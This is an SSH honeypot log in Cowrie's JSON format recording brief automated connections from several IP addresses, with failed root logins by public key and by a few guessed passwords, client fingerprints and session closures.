{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:a2:b4:80:c2:8a:35:a2:05:5b:93:84:88:47:89:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Z3aduiTchkq1iRPqA/fV3sCjXk1GRdby5Z/jJiS0qnlgeNQ2zSSb9qCfmrFd7OcTw8XZbX+PH4sWKgcSzPLC5qBXlfsd/yhN/X7xov/1XVXLDSf/qer3jQ4OwEqPcyt9Ts60JIUK0vYE3ACaOCwfS9xztyMg5ViqtrUzWBelPjMqXzlaH1pYoUdFRONOCFsvOwFX2EZ421g4tXOVaUOp7/EkQ7K70Rlebkw22Lgf9QFJc/L78WVXh7xRkftXh1AyJQ1hDVlnRWPXSIx04Ed1WC2eyTGrQJjgF0tBQp3FXW7HUcwrPsvb7EbB1NvuQPW0gI03tswF4EdsZ73OFhL3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.128576Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:bc:68:b7:c6:74:c3:34:b2:f8:9c:5c:6b:75:ec:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSk9pVx9pBtwfXz6iycOrBkC5AqSc2SoGC/2vdNjn10LDGxaXS2o2qVGdBaXBYDAyLwtNVodf1DBWnwaed/sxn7RgyOTaJZ/nocOh9ZyvrgzANplOmS/5TvxvqLP3o12HFkqVpDfBJBkwXfSqABHa/LQ2KBrMZJT3CwhyRgB7uD+6/GP9Dy+KX8AgvtigxNNanMZiMfdPCN21XMbGUw94fwyUUyfQ5KG2yhQpUGAF4TiH3C8IfHjWST+zEjVe6gzOrJ5DRo5Y/Nt/5l4Udro9ZCv+c+WDtvid9Dqo3i5ubnvdaQ9YzqzFt3nlEyGQeo76rE68EWMUBj/P5A6+V3DjjhJJ0FLUF2MfZKNiLyIlpdRSHxVIFxCdwMoNGHRkQ4KXCai8rmKrTrAYXcqyDEGxY2uXUqWYEAKS3OHzuacwzPPIVg0Sd2MnsbPpSAQe0QkO36fdIezk3gVOcKq6/tnoay7r2EdzTNb2AwBv9co2Tm0xa25zJYSlSYc2jP2H5UJUV0yA3ToR+R1hSBKRQ6EF5ad7XCrkPu5yYFr19dj7GMJFQG1ywDPFN6HdaupprvqzFt4WS0Rw7zBNGosh1XVSutrCNoIYrbwapNCZvJj9wgys4Ug7y/6HsPbrblgJsXyBkZMWg4zVhC7LLVEnOP4nw9XXaDkhL3VsRmfcxCuLF1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:bc:68:b7:c6:74:c3:34:b2:f8:9c:5c:6b:75:ec:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.197413Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:bc:68:b7:c6:74:c3:34:b2:f8:9c:5c:6b:75:ec:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSk9pVx9pBtwfXz6iycOrBkC5AqSc2SoGC/2vdNjn10LDGxaXS2o2qVGdBaXBYDAyLwtNVodf1DBWnwaed/sxn7RgyOTaJZ/nocOh9ZyvrgzANplOmS/5TvxvqLP3o12HFkqVpDfBJBkwXfSqABHa/LQ2KBrMZJT3CwhyRgB7uD+6/GP9Dy+KX8AgvtigxNNanMZiMfdPCN21XMbGUw94fwyUUyfQ5KG2yhQpUGAF4TiH3C8IfHjWST+zEjVe6gzOrJ5DRo5Y/Nt/5l4Udro9ZCv+c+WDtvid9Dqo3i5ubnvdaQ9YzqzFt3nlEyGQeo76rE68EWMUBj/P5A6+V3DjjhJJ0FLUF2MfZKNiLyIlpdRSHxVIFxCdwMoNGHRkQ4KXCai8rmKrTrAYXcqyDEGxY2uXUqWYEAKS3OHzuacwzPPIVg0Sd2MnsbPpSAQe0QkO36fdIezk3gVOcKq6/tnoay7r2EdzTNb2AwBv9co2Tm0xa25zJYSlSYc2jP2H5UJUV0yA3ToR+R1hSBKRQ6EF5ad7XCrkPu5yYFr19dj7GMJFQG1ywDPFN6HdaupprvqzFt4WS0Rw7zBNGosh1XVSutrCNoIYrbwapNCZvJj9wgys4Ug7y/6HsPbrblgJsXyBkZMWg4zVhC7LLVEnOP4nw9XXaDkhL3VsRmfcxCuLF1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.202353Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:67:c5:8e:85:3b:87:4e:d2:60:c7:6c:94:d4:50:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbOMF4u/GBtITnj5omZKTZIw0GozupLCrzUEKC+lwyQcUnJsCVdMa/d52wVrLMMsefEtLCvOGr83T+da/kV50LkDjmH9abnLiu4R4vOU6vSxn6NcIQ8JbjwrEAGlyUig74zNfRvej1ddoRfyLeID0bZTup7Ga/m+8yyHxvzQxxZ2duJblfxt/oxnlmp0CIshMTfdUdiUJdbWge+eCG3bDY5KZNuazszGEu37tJZBLbmZYXtQLijjKoF3xju1hJN/OeZLBo78RrZR3NeKg3d1vasNz7AVL342dPw8ZuGDv7OlOKw6k5BjZb6HcQgwBXunpJR546Km9mfp6cjJNt1N3Y0xBkd9QcLhoCmor048jfCjmr7t6sAJZf1zUycRnUa9+IIylDfwBameu8B68aB5uZR7tARGo+UIM+rQAAS469tzbDCogFWbrIHmWsoCPA/1DYYmMqVhrBSWLmDTqTuX6GSzIT3ZCI4D6QEaD/h9GOONJG7yOQwUW+bdxG+NG/9mmfPO+RWxjQYdEMWVBQ1bANh5FEN6sIvmQxT+sqrCrrEIx5xJdEk5CmWLNVzM8iWmeq1NjZGuY8RtxU2Aae9t/lfCm3MwFRnDmSnOVAahNbMPiwnndbWDBd49lylQnOjm9mmYIsBtX0bgBveuBgpr9nPDkHcTx7VAIZ75jHEbA+lw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:67:c5:8e:85:3b:87:4e:d2:60:c7:6c:94:d4:50:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.273332Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:67:c5:8e:85:3b:87:4e:d2:60:c7:6c:94:d4:50:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbOMF4u/GBtITnj5omZKTZIw0GozupLCrzUEKC+lwyQcUnJsCVdMa/d52wVrLMMsefEtLCvOGr83T+da/kV50LkDjmH9abnLiu4R4vOU6vSxn6NcIQ8JbjwrEAGlyUig74zNfRvej1ddoRfyLeID0bZTup7Ga/m+8yyHxvzQxxZ2duJblfxt/oxnlmp0CIshMTfdUdiUJdbWge+eCG3bDY5KZNuazszGEu37tJZBLbmZYXtQLijjKoF3xju1hJN/OeZLBo78RrZR3NeKg3d1vasNz7AVL342dPw8ZuGDv7OlOKw6k5BjZb6HcQgwBXunpJR546Km9mfp6cjJNt1N3Y0xBkd9QcLhoCmor048jfCjmr7t6sAJZf1zUycRnUa9+IIylDfwBameu8B68aB5uZR7tARGo+UIM+rQAAS469tzbDCogFWbrIHmWsoCPA/1DYYmMqVhrBSWLmDTqTuX6GSzIT3ZCI4D6QEaD/h9GOONJG7yOQwUW+bdxG+NG/9mmfPO+RWxjQYdEMWVBQ1bANh5FEN6sIvmQxT+sqrCrrEIx5xJdEk5CmWLNVzM8iWmeq1NjZGuY8RtxU2Aae9t/lfCm3MwFRnDmSnOVAahNbMPiwnndbWDBd49lylQnOjm9mmYIsBtX0bgBveuBgpr9nPDkHcTx7VAIZ75jHEbA+lw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.278136Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:c6:e6:7b:a8:14:55:43:9c:c1:bb:13:78:3d:6e:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwWgB7HMHKmoEHvg2quDBlw1R5C3NL9WzSnKCcWiBVvAqsyJwEYhCycUV5ywFwqAN2/LEMfLnP6EBqoUDjz4Da6BotRQaLPcw/Wr3OfNl1R6wjvuBJva2VeTJ13Nf7rEY95TAfvyzmC6laGZoc1TCp2lrU9OMiOWQDQH4NrLyr/2r+jt5mOheQm9YvWrzuzXf8Mr+V+MophcWSCbMX3/cEXjwZgDyAI0gaeMmTA5lFudPSBJizRhFuQLN/2xOT3hW+DJzcNABXX3d3u5Kuj0kDdswF2vO7z3Sxusg10grA9j8dzlgV7WGugM+eNHaRy1MtDAwnBrIo87Gb+KItwVAX+wlQXE7od86Y5sbKzaf0VnMzo2RHUIYY1ashFIXyufq+doTsC3jujsbeHWaKXhiW4jIGJ1JrcQjAy9DpkOFKa0N8SDzeeHhDaWBGFZOhqb33dPC4bzP8K+ydicerlAxNFLefnF3VKbl9L+Fx34bLPk2e6mCR0IgxpOe/jHr8yPZVH0RF0W4d7sca4+GSoNLAF4okEoRWSDHXqkthNFKkAtp3C+ye6m1+MQPJhY5QLdhtuLvhwGZ9eeFzcj81XtXTVCsig+K0JzeSCtFx4MjbnbHhnrlIZBLUJDsZUzLnVbMj3BOs/B8n6HX1xWI949eXazv/ICdOezAz9Bd7Q0kdGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:c6:e6:7b:a8:14:55:43:9c:c1:bb:13:78:3d:6e:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.348661Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:c6:e6:7b:a8:14:55:43:9c:c1:bb:13:78:3d:6e:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwWgB7HMHKmoEHvg2quDBlw1R5C3NL9WzSnKCcWiBVvAqsyJwEYhCycUV5ywFwqAN2/LEMfLnP6EBqoUDjz4Da6BotRQaLPcw/Wr3OfNl1R6wjvuBJva2VeTJ13Nf7rEY95TAfvyzmC6laGZoc1TCp2lrU9OMiOWQDQH4NrLyr/2r+jt5mOheQm9YvWrzuzXf8Mr+V+MophcWSCbMX3/cEXjwZgDyAI0gaeMmTA5lFudPSBJizRhFuQLN/2xOT3hW+DJzcNABXX3d3u5Kuj0kDdswF2vO7z3Sxusg10grA9j8dzlgV7WGugM+eNHaRy1MtDAwnBrIo87Gb+KItwVAX+wlQXE7od86Y5sbKzaf0VnMzo2RHUIYY1ashFIXyufq+doTsC3jujsbeHWaKXhiW4jIGJ1JrcQjAy9DpkOFKa0N8SDzeeHhDaWBGFZOhqb33dPC4bzP8K+ydicerlAxNFLefnF3VKbl9L+Fx34bLPk2e6mCR0IgxpOe/jHr8yPZVH0RF0W4d7sca4+GSoNLAF4okEoRWSDHXqkthNFKkAtp3C+ye6m1+MQPJhY5QLdhtuLvhwGZ9eeFzcj81XtXTVCsig+K0JzeSCtFx4MjbnbHhnrlIZBLUJDsZUzLnVbMj3BOs/B8n6HX1xWI949eXazv/ICdOezAz9Bd7Q0kdGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.352304Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:a9:b2:00:56:39:38:ca:68:23:64:ce:c2:ea:b7:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD9xUNuedDIQtZx/XXBuG7uRn0cIYE1BUHxVnI3Njo03bhGadmTh8jMALo7ImH32Grn6nJb2bLLXchrvOPB1QIK7yCgFZGrJnTPF5Y31MI1ENGYphk+6jXTWonrNFY9a7DVO/697cVOfkXlKW7X8h6wIp7iBjsCYqASBqC8xiNVGmON0lsVGFBKtH5YzJy+opy8G6GjS/XxuAw4ysJWLPV5iEjXSEN6wUo3vshMk1CPN5Bam40QBtBsHAkylb1D9xTc2h+2/stYJubvrAAQMJEEp+CS8OWW5RWT1Z3RCHIxtC7xXgiMv6c3VMt2xn2tQj1m74NikHjNBNmrpBv4zsYDcD/xPYw8SdiBqi8ksSi55w1+9mZClzXEl1YR819U/KMyZsenA7j4RZBZuY08NUCKPPpdefGlckGOCAcmCZ90SCdMBJU6Yt/pS+dqhcsdPHnkz88oGKKK3K8ScndcsmV2m5tM2gY+z3afd5bUTBiDN70tsfdgOA1gBIBQu/z/9njFWBCr8sAVWU46VwaEjRz3GMfKh9IAl/e1gXkp16mC+IazsiRr7LOJDTm/c1t80+1guVblTY3BeWAgaFAd2HAcgV6qpBgABCGq8nIo7MpS16RsyM92PH1QJPEKBIYfVx5WrXuYd4gvQTbDhfHgryc7NaZ+R5x1lrin5wh3cAaV9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:a9:b2:00:56:39:38:ca:68:23:64:ce:c2:ea:b7:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.421883Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:a9:b2:00:56:39:38:ca:68:23:64:ce:c2:ea:b7:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD9xUNuedDIQtZx/XXBuG7uRn0cIYE1BUHxVnI3Njo03bhGadmTh8jMALo7ImH32Grn6nJb2bLLXchrvOPB1QIK7yCgFZGrJnTPF5Y31MI1ENGYphk+6jXTWonrNFY9a7DVO/697cVOfkXlKW7X8h6wIp7iBjsCYqASBqC8xiNVGmON0lsVGFBKtH5YzJy+opy8G6GjS/XxuAw4ysJWLPV5iEjXSEN6wUo3vshMk1CPN5Bam40QBtBsHAkylb1D9xTc2h+2/stYJubvrAAQMJEEp+CS8OWW5RWT1Z3RCHIxtC7xXgiMv6c3VMt2xn2tQj1m74NikHjNBNmrpBv4zsYDcD/xPYw8SdiBqi8ksSi55w1+9mZClzXEl1YR819U/KMyZsenA7j4RZBZuY08NUCKPPpdefGlckGOCAcmCZ90SCdMBJU6Yt/pS+dqhcsdPHnkz88oGKKK3K8ScndcsmV2m5tM2gY+z3afd5bUTBiDN70tsfdgOA1gBIBQu/z/9njFWBCr8sAVWU46VwaEjRz3GMfKh9IAl/e1gXkp16mC+IazsiRr7LOJDTm/c1t80+1guVblTY3BeWAgaFAd2HAcgV6qpBgABCGq8nIo7MpS16RsyM92PH1QJPEKBIYfVx5WrXuYd4gvQTbDhfHgryc7NaZ+R5x1lrin5wh3cAaV9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.425883Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.494765Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":57824,"dst_ip":"159.203.135.109","dst_port":22,"session":"149f61100ac5","protocol":"ssh","message":"New connection: 103.75.182.198:57824 (159.203.135.109:22) [session: 149f61100ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:33.650017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:33.655658Z","src_ip":"103.75.182.198","session":"149f61100ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41180,"dst_ip":"10.17.0.5","dst_port":22,"session":"48322c5c1033","protocol":"ssh","message":"New connection: 103.15.222.183:41180 (10.17.0.5:22) [session: 48322c5c1033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:33.735317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:33.739949Z","src_ip":"103.15.222.183","session":"48322c5c1033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:33.900780Z","src_ip":"103.75.182.198","session":"149f61100ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:33.988561Z","src_ip":"103.15.222.183","session":"48322c5c1033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987k654","message":"login attempt [root/987k654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:34.668984Z","src_ip":"103.75.182.198","session":"149f61100ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jonathan","message":"login attempt [root/jonathan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:34.734532Z","src_ip":"103.15.222.183","session":"48322c5c1033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45116,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbcd6420bbb2","protocol":"ssh","message":"New connection: 103.27.238.114:45116 (159.203.135.109:22) [session: cbcd6420bbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:34.832003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:34.836949Z","src_ip":"103.27.238.114","session":"cbcd6420bbb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:35.101775Z","src_ip":"103.27.238.114","session":"cbcd6420bbb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:35.913274Z","src_ip":"103.75.182.198","session":"149f61100ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:35.990254Z","src_ip":"103.15.222.183","session":"48322c5c1033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jktymrf","message":"login attempt [root/jktymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:36.625324Z","src_ip":"103.27.238.114","session":"cbcd6420bbb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:37.891589Z","src_ip":"103.27.238.114","session":"cbcd6420bbb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":58452,"dst_ip":"10.17.0.5","dst_port":22,"session":"94301b0c60c7","protocol":"ssh","message":"New connection: 103.77.175.15:58452 (10.17.0.5:22) [session: 94301b0c60c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:15.677363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:15.681694Z","src_ip":"103.77.175.15","session":"94301b0c60c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:15.941636Z","src_ip":"103.77.175.15","session":"94301b0c60c7","protocol":"ssh"}
